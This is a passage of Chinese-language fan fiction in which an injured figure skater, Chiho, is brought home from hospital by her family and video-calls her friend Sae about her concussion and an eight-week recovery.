出了医院大门,傍晚的风迎面吹过来,比室内的空调风软,带着六月初夏的温热和街道上的灰尘味。天还是灰的,但西边的云层裂开一道缝,光从那里漏出来,把对面的楼顶染成淡金色。 北野宁宁把车开到门口,父亲把轮椅推到车门边,弯腰,一只手托住千穗的背,另一只手托住她的腿弯,把她抱起来,放进后座。动作很轻,和很久很久以前——久到她还没开始学滑冰的时候——把她从儿童座椅上抱下来一模一样。 “慢一点。”母亲从另一边上车,把她的脚抬起来,搁在自己的膝盖上。 世一坐在副驾驶,回头看了她一眼,千穗朝他笑了一下,他也笑了一下,笑容很勉强。 车子驶出医院大门,汇入晚高峰的车流。千穗靠在座椅上,头枕着母亲从家里带出来的靠垫,是荞麦壳的,硬硬的,垫在后脑勺底下 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母亲推着她进家门。玄关的灯亮着,鞋柜上摆着一盆绿萝,是母亲上个月买的,说是净化空气。千穗的拖鞋还放在原来那个位置,粉色、毛绒绒的,鞋底已经磨平了。她没有换,脚踝上缠着绷带,穿不进去。 “先上楼。”母亲说,声音很轻,像是在哄小孩睡觉。 父亲弯腰,这次没有问她,直接把她抱起来。千穗靠在他肩膀上,闻到他衣服上有医院消毒水的味道,混着一点汗味。她忽然觉得眼眶有点热,但没有哭。她都活了两辈子了,还是奥运冠军,全满贯,不能在父亲肩膀上哭。 楼梯走得很慢。父亲每上一级台阶就停一下,怕颠到她。千穗闭着眼睛,听见母亲的脚步声跟在后面,还有世一的,北野宁宁大概还在下面,在打电话——她听见断断续续的、压得很低的声音从楼下传上来。 房间门推开的时候,千穗闻到了自己熟悉的味道。洗衣液的残留香气、窗台上那盆小雏菊的土腥味、还有书架上那些旧书散发的纸浆味。父亲把她放在床上,枕头还是她早上离开时的位置,被子叠得整整齐齐,是母亲叠的,四角都压平了。 她躺下去的那一瞬间,天花板转了一下。不是那种天旋地转的晕,是像坐在电车上、看着窗外的风景缓缓往后退的那种转。她闭上眼睛,等了几秒,再睁开,天花板不转了,但恶心感还在,卡在喉咙下面,上不去也下不来。 “想吐吗?”母亲的声音从旁边传来。 “不想。”千穗说。 母亲没有再问。她把被子打开,盖在千穗身上,被角掖到肩膀底下,又把枕头调整了一下,让她的头稍微抬高了一点。世一站在门口,没有进来,千穗睁开眼睛看他,他就转身下楼了,脚步声很快,像是跑下去的。 房间里安静下来。千穗躺在床上,盯着天花板。灯没有开,窗外的光从窗帘缝隙里漏进来,在天花板上投下一条细细的、灰白色的光带。她盯着那条光带,恶心感慢慢退下去,退到胃里,退到胸口,退到喉咙下面,卡在那里,不走也不散。 她伸手去摸手机。右肩抬不起来,只能用左手。手机放在枕头旁边,是母亲帮她放的,和充电线、水杯、医生开的药摆在一起。她摸到手机,拿过来,屏幕亮起来,光刺得她眯了一下眼睛。 未接来电的数字现实99+,她没有再看。她点开通讯录,往下翻,从雅科夫、奥塔别克、维克托,到赤司、迹部、黑尾、还有幸村等,停在“boke冴”的备注上。 她想起来自己吵架后换了备注,但忘记改回来了。 连头像是她让他换的——那只粉色小猫玩偶,端端正正地坐在玻璃罩里,眼睛圆溜溜的,爪子上系着银色的小铃铛。 她看了眼对方打了几个电话——3个,两小时前的。 又看了眼时间,默默估算了下时差,确认对方那时候应该刚起床去参加早训……现在训练大概结束了。 犹豫片刻,说不清是什么心情,她按下拨号键。 响了两声,接通了。 屏幕里出现的是天花板,白色的、光秃秃的、被顶灯照得发亮的天花板。然后是晃动,手机被人拿起来,镜头翻转的那一瞬间,她看见了一个下巴、一截脖子、一片还没擦干的水珠,然后是——什么都没有。 不是“什么都没有”,是冴没有穿上衣。 他刚洗完澡,头发还是湿的,水从发尾滴下来,落在肩膀上,顺着锁骨的弧度往下滑。他的皮肤比冬天见面的时候深了一点,大概是室外训练晒的,肩膀的线条比记忆里更宽了,锁骨下面有一块淡淡的淤青——训练或比赛撞的吧。他手里拿着手机,大概是刚拿起来,镜头还没对准,脸只露了半张,下巴、嘴唇、鼻尖,眼睛还没完全进入画面。 千穗愣了一下。冴也愣了一下。两个人都没有反应过来。 冴先动的。他没有遮,也没有把镜头转开,只是把手机往后退了一点,让整张脸都进入画面。他看着屏幕里的她——头发散在枕头上,脸色比早上差,右肩的绷带从领口露出来一截,嘴唇有点干。 “摔了?”他问。声音比平时低,大概是刚洗完澡,嗓子还没完全打开。 千穗“嗯”了一声。“训练的时候,试了一下4A。” 冴没有问她为什么试、有没有成功、摔得疼不疼。他只是看着她,等她继续说。 “没有骨折,”千穗说,“也没有韧带断裂。”她顿了顿,“报告发你了。” 冴没有说话,眉头微皱,他的目光从她的脸上移到右肩,又移到被子里盖着的左脚,最后回到她的眼睛。 然后低头调整了一下自己的手机屏幕——大概是切屏去看她不久前拍的诊断报告——然后抬起头。 “脑震荡,”他说,“会恶心想吐,少看手机。” “有一点,”千穗说,“但不严重。” 冴没有接话。他看着她,看了很久。屏幕里的他头发还在滴水,水珠顺着发尾滴到肩膀上,又顺着胸口的弧线往下滑,他浑然不觉。 “你衣服——”千穗开口,又停住了。 冴低头看了一眼自己的肩膀,又抬头看她。他的表情没有任何变化,像是才意识到自己没穿上衣这件事,也像是意识到了但觉得无所谓。他没有去拿衣服,只是把手机靠在什么东西上——大概是漱口杯——腾出手来拿毛巾,搭在头上擦了两下,头发被揉得更乱了,几缕碎发翘起来,露出额头。 千穗看着他擦头发的样子,脑袋有点放空,恶心感又渐渐消退了些。 冴擦好头发,把毛巾放在肩上,眼神很深、很沉地看着千穗。 千穗其实有点猜到他在想什么了。 同为运动员,俩人都知道受伤意味着什么。 在同批次的对手训练的时候,要养伤、要远离赛场……即使原本有多厉害、即使受伤并不严重、即使很快就能回归,还是可能会被落下,被缩小差距。 “……八周?”冴开口。 “嗯。”千穗点头,神情很坦然。